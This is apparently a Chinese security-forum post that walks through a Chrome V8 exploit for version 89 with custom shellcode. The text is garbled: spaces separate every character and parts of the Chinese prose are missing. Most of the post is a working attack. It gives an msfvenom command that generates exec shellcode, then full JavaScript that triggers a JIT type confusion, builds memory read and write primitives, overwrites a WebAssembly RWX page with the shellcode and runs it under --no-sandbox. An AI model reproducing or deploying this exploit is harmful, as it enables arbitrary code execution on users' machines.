[756] 2021-04-16_Chrome0day自定义shellcode利用(详细)

文档创建者:s7ckTeam
浏览次数:17
最后更新:2025-01-16
2021-04-16_Chrome0day自定义shellcode利用(详细) C h r o m e   0 d a y   s h e l l c o d e   b g b i n g   2 0 2 1 - 0 4 - 1 6 E D I   E D I - n o - s a n d b o x     X 8 6 C P U   I n t e l A M D 6 4 1 . s h e l l c o d e 使 C S s h e l l c o d e   线 m s g   c m d s h e l l c o d e   2 . P O C E D I   . , , S R C , , m s f v e n o m   - a   x 6 4   - p   w i n d o w s / x 6 4 / e x e c   C M D = " m s g . e x e   1   B y   E D I "   E X I T F U N C = t h r e a d   - f   n u m < s c r i p t >         f u n c t i o n   g c ( )   {                 f o r   ( v a r   i   =   0 ;   i   <   0 x 8 0 0 0 0 ;   + + i )   {                         v a r   a   =   n e w   A r r a y B u f f e r ( ) ;                 }         }         l e t   s h e l l c o d e   =   [ s h e l l c o d e   ] ;         v a r   w a s m C o d e   =   n e w   U i n t 8 A r r a y ( [ 0 ,   9 7 ,   1 1 5 ,   1 0 9 ,   1 ,   0 ,   0 ,   0 ,   1 ,   1 3 3 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   1 ,   9 6 ,   0 ,   1 ,   1 2 7 ,   3 ,   1 3 0 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   1 ,   0 ,   4 ,   1 3 2 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   1 ,   1 1 2 ,   0 ,   0 ,   5 ,   1 3 1 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   1 ,   0 ,   1 ,   6 ,   1 2 9 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   0 ,   7 ,   1 4 5 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   2 ,   6 ,   1 0 9 ,   1 0 1 ,   1 0 9 ,   1 1 1 ,   1 1 4 ,   1 2 1 ,   2 ,   0 ,   4 ,   1 0 9 ,   9 7 ,   1 0 5 ,   1 1 0 ,   0 ,   0 ,   1 0 ,   1 3 8 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   1 ,   1 3 2 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   0 ,   6 5 ,   4 2 ,   1 1 ] ) ;         v a r   w a s m M o d u l e   =   n e w   W e b A s s e m b l y . M o d u l e ( w a s m C o d e ) ;         v a r   w a s m I n s t a n c e   =   n e w   W e b A s s e m b l y . I n s t a n c e ( w a s m M o d u l e ) ;         v a r   m a i n   =   w a s m I n s t a n c e . e x p o r t s . m a i n ;         v a r   b f   =   n e w   A r r a y B u f f e r ( 8 ) ;         v a r   b f V i e w   =   n e w   D a t a V i e w ( b f ) ;         f u n c t i o n   f L o w ( f )   {                 b f V i e w . s e t F l o a t 6 4 ( 0 ,   f ,   t r u e ) ;                 r e t u r n   ( b f V i e w . g e t U i n t 3 2 ( 0 ,   t r u e ) ) ;         }         f u n c t i o n   f H i ( f )   {                 b f V i e w . s e t F l o a t 6 4 ( 0 ,   f ,   t r u e ) ;                 r e t u r n   ( b f V i e w . g e t U i n t 3 2 ( 4 ,   t r u e ) )         }         f u n c t i o n   i 2 f ( l o w ,   h i )   {                 b f V i e w . s e t U i n t 3 2 ( 0 ,   l o w ,   t r u e ) ;                 b f V i e w . s e t U i n t 3 2 ( 4 ,   h i ,   t r u e ) ;                 r e t u r n   b f V i e w . g e t F l o a t 6 4 ( 0 ,   t r u e ) ;         }         f u n c t i o n   f 2 b i g ( f )   {                 b f V i e w . s e t F l o a t 6 4 ( 0 ,   f ,   t r u e ) ;                 r e t u r n   b f V i e w . g e t B i g U i n t 6 4 ( 0 ,   t r u e ) ;         }         f u n c t i o n   b i g 2 f ( b )   {                 b f V i e w . s e t B i g U i n t 6 4 ( 0 ,   b ,   t r u e ) ;                 r e t u r n   b f V i e w . g e t F l o a t 6 4 ( 0 ,   t r u e ) ;
w a s m C o d e   C h r o m e w a s m R W X C w a s m   w a s m R W X s h e l l c o d e   w a s m w a s m s h e l l c o d e P W N   3 . c h r o m e   p o c . h t m l C h r o m e         }         c l a s s   L e a k A r r a y B u f f e r   e x t e n d s   A r r a y B u f f e r   {                 c o n s t r u c t o r ( s i z e )   {                         s u p e r ( s i z e ) ;                         t h i s . s l o t   =   0 x b 3 3 f ;                 }         }         f u n c t i o n   f o o ( a )   {                 l e t   x   =   - 1 ;                 i f   ( a )   x   =   0 x F F F F F F F F ;                 v a r   a r r   =   n e w   A r r a y ( M a t h . s i g n ( 0   -   M a t h . m a x ( 0 ,   x ,   - 1 ) ) ) ;                 a r r . s h i f t ( ) ;                 l e t   l o c a l _ a r r   =   A r r a y ( 2 ) ;                 l o c a l _ a r r [ 0 ]   =   5 . 1 ; / / 4 0 1 4 6 6 6 6 6 6 6 6 6 6 6 6                 l e t   b u f f   =   n e w   L e a k A r r a y B u f f e r ( 0 x 1 0 0 0 ) ; / / b y t e L e n g t h   i d x = 8                 a r r [ 0 ]   =   0 x 1 1 2 2 ;                 r e t u r n   [ a r r ,   l o c a l _ a r r ,   b u f f ] ;         }         f o r   ( v a r   i   =   0 ;   i   <   0 x 1 0 0 0 0 ;   + + i )                 f o o ( f a l s e ) ;         g c ( ) ;   g c ( ) ;         [ c o r r p u t _ a r r ,   r w a r r ,   c o r r u p t _ b u f f ]   =   f o o ( t r u e ) ;         c o r r p u t _ a r r [ 1 2 ]   =   0 x 2 2 4 4 4 ;         d e l e t e   c o r r p u t _ a r r ;         f u n c t i o n   s e t b a c k i n g S t o r e ( h i ,   l o w )   {                 r w a r r [ 4 ]   =   i 2 f ( f L o w ( r w a r r [ 4 ] ) ,   h i ) ;                 r w a r r [ 5 ]   =   i 2 f ( l o w ,   f H i ( r w a r r [ 5 ] ) ) ;         }         f u n c t i o n   l e a k O b j L o w ( o )   {                 c o r r u p t _ b u f f . s l o t   =   o ;                 r e t u r n   ( f L o w ( r w a r r [ 9 ] )   -   1 ) ;         }         l e t   c o r r u p t _ v i e w   =   n e w   D a t a V i e w ( c o r r u p t _ b u f f ) ;         l e t   c o r r u p t _ b u f f e r _ p t r _ l o w   =   l e a k O b j L o w ( c o r r u p t _ b u f f ) ;         l e t   i d x 0 A d d r   =   c o r r u p t _ b u f f e r _ p t r _ l o w   -   0 x 1 0 ;         l e t   b a s e A d d r   =   ( c o r r u p t _ b u f f e r _ p t r _ l o w   &   0 x f f f f 0 0 0 0 )   -   ( ( c o r r u p t _ b u f f e r _ p t r _ l o w   &   0 x f f f f 0 0 0 0 )   %   0 x 4 0 0 0 0 )   +   0 x 4 0 0 0 0 ;         l e t   d e l t a   =   b a s e A d d r   +   0 x 1 c   -   i d x 0 A d d r ;         i f   ( ( d e l t a   %   8 )   = =   0 )   {                 l e t   b a s e I d x   =   d e l t a   /   8 ;                 t h i s . b a s e   =   f L o w ( r w a r r [ b a s e I d x ] ) ;         }   e l s e   {                 l e t   b a s e I d x   =   ( ( d e l t a   -   ( d e l t a   %   8 ) )   /   8 ) ;                 t h i s . b a s e   =   f H i ( r w a r r [ b a s e I d x ] ) ;         }         l e t   w a s m I n s A d d r   =   l e a k O b j L o w ( w a s m I n s t a n c e ) ;         s e t b a c k i n g S t o r e ( w a s m I n s A d d r ,   t h i s . b a s e ) ;         l e t   c o d e _ e n t r y   =   c o r r u p t _ v i e w . g e t F l o a t 6 4 ( 1 3   *   8 ,   t r u e ) ;         s e t b a c k i n g S t o r e ( f L o w ( c o d e _ e n t r y ) ,   f H i ( c o d e _ e n t r y ) ) ;         f o r   ( l e t   i   =   0 ;   i   <   s h e l l c o d e . l e n g t h ;   i + + )   {                 c o r r u p t _ v i e w . s e t U i n t 8 ( i ,   s h e l l c o d e [ i ] ) ;         }         m a i n ( ) ; < / s c r i p t > c h r o m e . e x e   - n o - s a n d b o x
W i n d o w s 1 0   x 6 4   C h r o m e   8 9 . 0 . 4 3 8 9 . 1 2 8 " C : P r o g r a m   F i l e s G o o g l e C h r o m e A p p l i c a t i o n c h r o m e . e x e "   - n o - s a n d b o x   f i l e : / / / C : / U s e r s / a d m i n / D e s k t o p / e x p l o i t s - m a s t e r / c h r o m e - 0 d a y / E D I . h t m l

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则